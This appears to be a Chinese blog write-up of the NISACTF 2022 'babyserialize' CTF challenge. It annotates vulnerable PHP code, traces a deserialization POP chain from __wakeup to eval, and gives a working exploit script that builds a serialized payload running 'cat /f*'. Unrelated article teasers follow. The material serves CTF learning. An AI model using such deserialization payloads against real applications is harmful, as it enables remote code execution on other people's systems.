pop链构造 [NISACTF 2022]babyserialize

打开题目

题目源代码如下

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

代码审计一下

include "waf.php";
class NISA{                //定义了一个名为 NISA 的类
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){  //检查 $this->fun 是否等于 "show_me_flag",如果是,则调用 hint() 函数
            hint();
        }
    }

    function __call($from,$val){   //当对象的方法不存在时,__call() 方法会被调用,它接受两个参数:$from 表示调用的方法名,$val 是一个数组,包含调用方法时传递的参数
        $this->fun=$val[0];        //将对象的属性 $this->fun 设置为传递给方法的第一个参数的值,即 $val[0]
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";                //使用 echo 语句输出对象的属性 $this->fun 的值,然后返回一个空格字符串。
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);   //调用了一个名为 checkcheck() 的函数,然后执行了 $this->txw4ever 的代码
        @eval($this->txw4ever);
    }

class TianXiWei{
    public $ext;
    public $x; //
定义了一个名为 TianXiWei 的类,其中包含两个属性 $ext$x
    public function __wakeup()//
这是一个 PHP 魔术方法,当对象被反序列化时会自动调用。
    {
        $this->ext->nisa($this->x);  //
调用 $ext 对象的 nisa() 方法,并将当前对象的属性 $x 作为参数传递给 nisa() 方法。
    }
}

class Ilovetxw{
    public $huang;
    public $su;  //
定义了一个名为 Ilovetxw 的类,其中包含两个属性 $huang$su

    public function __call($fun1,$arg){   //
PHP 魔术方法,当调用不存在的方法时会自动触发。它接受两个参数:调用的方法名 $fun1 和传递给该方法的参数 $arg
        $this->huang->fun=$arg[0]; //
将传递给方法的第一个参数($arg[0])赋值给 $this->huang->fun
    }

    public function __toString(){   //
PHP 魔术方法,用于将对象转换为字符串时自动调用
        $bb = $this->su;
        return $bb(); //
将 $this->su 赋值给变量 $bb,它尝试执行 $bb(),即调用 $bb 所指向的函数或方法
    }
}

class four{
    public $a="TXW4EVER"; //
定义了一个公共属性 $a,并赋值为字符串 "TXW4EVER"
    private $fun='abc'; //定义了一个私有属性 $fun,并赋值为字符串 'abc'

    public function __set($name, $value) //魔术方法,用于在尝试设置不可访问属性时自动调用。
    {
        $this->$name=$value;  //
将属性 $name 的值设置为 $value,即动态创建了一个属性
        if ($this->fun = "sixsixsix"){  //这个条件语句中使用了赋值操作 =,它会将属性 $this->fun 的值设置为字符串 "sixsixsix",并且 if 条件会始终为真,因为赋值操作的结果是被赋的值本身
            strtolower($this->a);  //在条件语句中执行了 strtolower($this->a),但没有将结果赋给任何变量或属性
        }
    }

if(isset($_GET['ser'])){   //检查是否存在名为 ser 的 GET 参数
    @unserialize($_GET['ser']);  //$_GET['ser'] 的值进行反序列化操作 @unserialize($_GET['ser']),使用了 @ 符号来抑制可能的错误信息输出
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){  //checkcheck函数接收一个参数$data
//  if(preg_match(......)){ //
有一个 preg_match 函数,但是正则表达式部分被省略了
//      die(something wrong);   //如果 preg_match 函数匹配成功,即 $data 符合某个模式,那么会执行 die(something wrong); 来终止脚本执行,并输出 "something wrong"
//  }
//}

//function hint(){  //hint函数这里没有设置参数
//    echo ".......";    //
输出了一些占位符信息
//    die();   //调用了 die() 终止脚本的执行
//}
?>

解题思路

这里我是一点思路都没有,可能也是平时接触到的这类型题很少,全靠大佬的wp

(1)eval反推到__invoke

这里先看到eval,而eval中的变量可控,肯定是代码执行,而eval又在__invoke魔术方法中

 先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数

反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

(3)__toString反推到__set

(4)从__set反推到__call

这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

大佬的exp

<?php
 
class NISA{
    public $fun="show_me_flag";
    public $txw4ever; // 1 shell
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
 
    function __call($from,$val){
        $this->fun=$val[0];
    }
 
    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}
 
class TianXiWei{
    public $ext; //5 Ilovetxw
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}
 
class Ilovetxw{
    public $huang; //4 four
    public $su; //2 NISA
 
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
 
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}
 
class four{
    public $a="TXW4EVER"; //3 Ilovetxw
    private $fun='sixsixsix'; //fun = "sixsixsix
 
    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
 
 
$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));

生成payload

得到flag

知识点:

_wakeup()魔术方法

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法

_call()魔术方法

当对象的方法不存在时,__call() 方法会被调用

也就是无法访问此方法(未定义),此方法被__call()重载,并显示方法名和参数;

_toString()魔术方法

使用 echo 语句输出一个对象时,会自动检查一个对象有没有定义 _toString() 方法,如果定义了,就会输出 __toString() 方法的返回值,如果没有定义,那么会直接抛出一个异常,表明该对象不能直接转换为字符串

也就是说,如果要将一个对象转换为字符串,必须定义 __toString() 魔术方法

_invoke()魔术方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

具体使用方法见:PHP 魔术方法 - __invoke() - PHP 魔术方法 - 简单教程,简单编程

_set()魔术方法

用于设置私有属性值,有两个参数,第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值

具体使用方法见:php 中__set()和__get()的具体用法_php __set-CSDN博客

strtolower()函数

strtolower函数把字符串全部转换为小写。

isset()函数

确定变量值是否存在

参考文章:

[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客

关于[NISACTF 2022]babyserialize详解_web_babyserialize-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/413575.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Oracle 基础表管理(Heap-Organized Table Management)

表是数据库中负责数据存储的对象&#xff0c;在RDBMS中&#xff0c;数据以行、列的形式存储在表中。Oracle中表有很多种类型&#xff0c;最基础且应用最常用的类型就是堆表&#xff08;Heap-Organized Table&#xff09;&#xff0c;本文列举了Oracle堆表的常用管理操作。 一、…

LeetCode--134

134. 加油站 在一条环路上有 n 个加油站&#xff0c;其中第 i 个加油站有汽油 gas[i] 升。 你有一辆油箱容量无限的的汽车&#xff0c;从第 i 个加油站开往第 i1 个加油站需要消耗汽油 cost[i] 升。你从其中的一个加油站出发&#xff0c;开始时油箱为空。 给定两个整数数组 …

WPF 【十月的寒流】学习笔记(1):DataGrid过滤

文章目录 相关链接代码仓库前言环境DataGrid 数据筛选项目配置使用原理主要代码&#xff08;详细代码可以看我的GitHub仓库&#xff09;Models.PersonDataGirdViewDataGridViewModel 实现效果 DataGrid直接绑定CollectionViewxamlViewModel 总结 相关链接 十月的寒流 在 WPF 中…

【开源】使用opencv进行交互式抠图,让你开发效率翻倍

这是一个简单的交互式图像分割应用程序&#xff0c;由python opencv和pyqt编写。 这个应用程序在opencv中应用Grabcut算法对图像进行抠图。Grabcut是Graphcut算法的改进版本。查看这些论文(paper1, paper2)了解详细信息~~ gui部分主要来自这个伟大的工作labelImg。这是一个非常…

安全测试工具之nmap使用指南

文章目录 一、前言二、简介三、使用示例&#xff08;一&#xff09;常用命令&#xff08;二&#xff09;主机存活检测&#xff08;三&#xff09;端口探测&#xff08;四&#xff09;服务识别&#xff08;五&#xff09;操作系统识别 三、其它 一、前言 当我们在构建环境或排查…

LabVIEW磁阻自动优化测量系统

LabVIEW磁阻自动优化测量系统 介绍了一种基于LabVIEW开发的磁阻自动优化测量系统&#xff0c;通过自动优化测试分辨率和高度模块化设计&#xff0c;大幅提升磁阻测试的效率和准确性。系统采用功率电源、电磁铁、高分辨率特斯拉计、步进电机转动器、精密电流源与精准电压表等硬…

TensorFlow训练大模型做AI绘图,需要多少的GPU算力支撑

TensorFlow训练大模型做AI绘图&#xff0c;需要多少的GPU算力支撑&#xff01;这个问题就涉及到了资金投资的额度了。众所周知&#xff0c;现在京东里面一个英伟达的显卡&#xff0c;按照RTX3090(24G显存-涡轮风扇&#xff09;版本报价是7000-7500之间。如果你买一张这样的单卡…

Linux 不同架构、不同系统的问题

文章目录 一、麒麟V10&#xff08;kylin&#xff09;操作系统中&#xff0c;sudo执行程序后&#xff0c;其环境变量依然为用户家目录。&#xff08;1&#xff09;背景&#xff08;2&#xff09;原因&#xff08;3&#xff09;解决办法 二、统信&#xff08;UOS&#xff09;操作…

Linux Debian12安装fcitx5中文拼音输入法

&#xfeff;我使用Debian系统已经4年了&#xff0c;我常在Debian系统上安装ibus google拼音输入法&#xff0c;但是有时这个输入法会卡死&#xff0c;停上几分钟后又恢复正常了&#xff0c;经常被这个困扰。不过在Debian 11或Debian12中我们可以使用fcitx5中文拼音输入法了&am…

React PureComponent 和 React.memo()区别

1 注意 ● PureComponent和memo仅作为性能优化的方式存在 ● 不要依赖它来阻止渲染&#xff0c;会产生BUG ● PureComponnet 和memo 都是通过对 props 值的浅比较来决定该组件是否需要更新的。 2 PureComponent 和React.memo() 区别 PureComponent 和React.memo()都是React优化…

【Linux】TCP应用与相关API守护进程

需要云服务器等云产品来学习Linux的同学可以移步/–>腾讯云<–/官网&#xff0c;轻量型云服务器低至112元/年&#xff0c;优惠多多。&#xff08;联系我有折扣哦&#xff09; 文章目录 1. 相关使用接口2. 代码实现2.1 日志组件2.2 Server端2.3 Client端2.3 bug解决 3. 守…

深度神经网络中的计算和内存带宽

深度神经网络中的计算和内存带宽 文章目录 深度神经网络中的计算和内存带宽来源原理介绍分析1&#xff1a;线性层分析2&#xff1a;卷积层分析3&#xff1a;循环层总结 来源 相关知识来源于这里。 原理介绍 Memory bandwidth and data re-use in deep neural network computat…

Aigtek前置微小信号放大器在传感器检测中的应用有哪些

传感器是将物理量转换为电信号的装置&#xff0c;其精度和灵敏度直接影响到检测系统的性能。而传感器的输出信号通常都非常微弱&#xff0c;需要进行放大处理才能得到可靠的测量结果。前置微小信号放大器&#xff0c;作为一种重要的传感器检测元件&#xff0c;在传感器检测中发…

Linux环境搭建Jenkins(详细图文)

目录 简介Jenkins 特点 一、环境准备 1.jdk环境准备 2.maven环境准备 3.git环境准备 二、安装部署Jenkins&#xff08;采用war包方式&#xff09; 1.下载Jenkins ​2.启动war包 1&#xff09;将下载好的Jenkins的war包上传到服务器上 2&#xff09;编辑启动脚本,方便…

Coze开源软件Windows客户端-coze_desk

字节的coze相信大家都已经有所关注了&#xff0c;最近看到很多公众号在推。笔者也在使用&#xff0c;体验很不错。 这个是官网&#xff1a;https://www.coze.com/。 官网版 应用的样子 三栏式布局&#xff0c;用起来还是可以的。 不过这个是在浏览器端&#xff0c;有时候不小…

Jmeter接口性能测试工具

1、mac上安装 Apache JMeter - Download Apache JMeter 打开文件夹中/bin目录&#xff0c;sh jmeter 即可打开。 2、配置测试计划 3、添加测试Thread group 一个group用来控制Jmeter并发时产生线程的数量&#xff0c;在它的下一级菜单下只有一个组件&#xff08;线程组&…

基于springboot的4S店车辆管理系统源码和论文

随着信息技术和网络技术的飞速发展&#xff0c;人类已进入全新信息化时代&#xff0c;传统管理技术已无法高效&#xff0c;便捷地管理信息。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而生&#xff0c;各行各业相继进入信息管理时代&#xf…

图片转PDF

选择图片右键——打开方式 ——照片、画图、截图工具 其他的选择性尝试 点击打印 在刚刚保存的路径哪里即可得到刚刚保存的PDF版的图片

树莓派使用git clone时报错failed: The TLS connection was non-properly terminated.

fatal: unable to access https://github.com/jacksonliam/mjpg-streamer.git/: gnutls_handshake() failed: The TLS connection was non-properly terminated. 原因&#xff1a;权限不足 解决办法&#xff1a;sudo git clone 加对应网址。 sudo git clone https://github.co…

ESP32之使用I2S实现录音功能 (INMP411,MAX4466介绍)- 基于Arduino

esp32是买的某宝模块 #设备采集音频代码 # 连接端口:SD->G21 WS->G22 SCK->G23 L/R-> 低电频from machine import I2S,SPI from machine import Pinimport os,utime import network import socketdef createWavHeader(sampleRate, bitsPerSample, num_channels,…